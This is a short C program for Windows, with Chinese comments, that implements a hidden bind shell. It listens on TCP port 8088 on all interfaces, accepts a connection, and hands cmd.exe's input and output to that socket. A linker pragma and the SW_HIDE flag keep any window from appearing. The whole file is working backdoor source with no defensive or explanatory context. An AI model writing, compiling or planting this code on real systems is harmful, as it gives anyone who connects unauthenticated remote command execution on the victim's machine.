#pragma comment(linker,"/subsystem:\"windows\"/entry\"mainCRTStartup\"")
#pragma comment(lib,"ws2_32")
#define MasterPort 8088

#include<windows.h>
#include<winsock2.h>


int main()
{
    WSADATA WSADa;     //特殊数据结构
    SOCKADDR_IN SockAddrIn;
    SOCKET CSocket, SSocket;
    int iAddrSize;
    PROCESS_INFORMATION ProcessInfo;
    STARTUPINFO StartupInfo;
    char szCMDPath[255];
   
    //分配内存
    ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
    ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
    ZeroMemory(&WSADa, sizeof(WSADATA));

    //获取cmd路径
    GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));

    //加载ws2_32.dll
    WSAStartup(0x0202, &WSADa);

    //设置本地信息和绑定协议，建立socket
    SockAddrIn.sin_family  = AF_INET;
    SockAddrIn.sin_addr.s_addr = INADDR_ANY;
    SockAddrIn.sin_port = htons(MasterPort);
    CSocket = WSASocket(AF_INET,SOCK_STREAM, IPPROTO_TCP, NULL, 0,0);

    //设置绑定端口
    bind(CSocket, (SOCKADDR *)&SockAddrIn, sizeof(SockAddrIn));

    listen(CSocket, 1);
    iAddrSize = sizeof(SockAddrIn);

    SSocket = accept(CSocket, (SOCKADDR *)&SockAddrIn, &iAddrSize);

    StartupInfo.cb = sizeof(STARTUPINFO);
    StartupInfo.wShowWindow = SW_HIDE;
    StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    StartupInfo.hStdInput = (HANDLE)SSocket;
    StartupInfo.hStdOutput = (HANDLE) SSocket;
    StartupInfo.hStdError = (HANDLE) SSocket;

    CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE,0, NULL, NULL, &StartupInfo, &ProcessInfo);
    WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
    CloseHandle(ProcessInfo.hProcess);
    CloseHandle(ProcessInfo.hThread);
    
    closesocket(CSocket);
    closesocket(SSocket);
    WSACleanup();

    return 0;
}

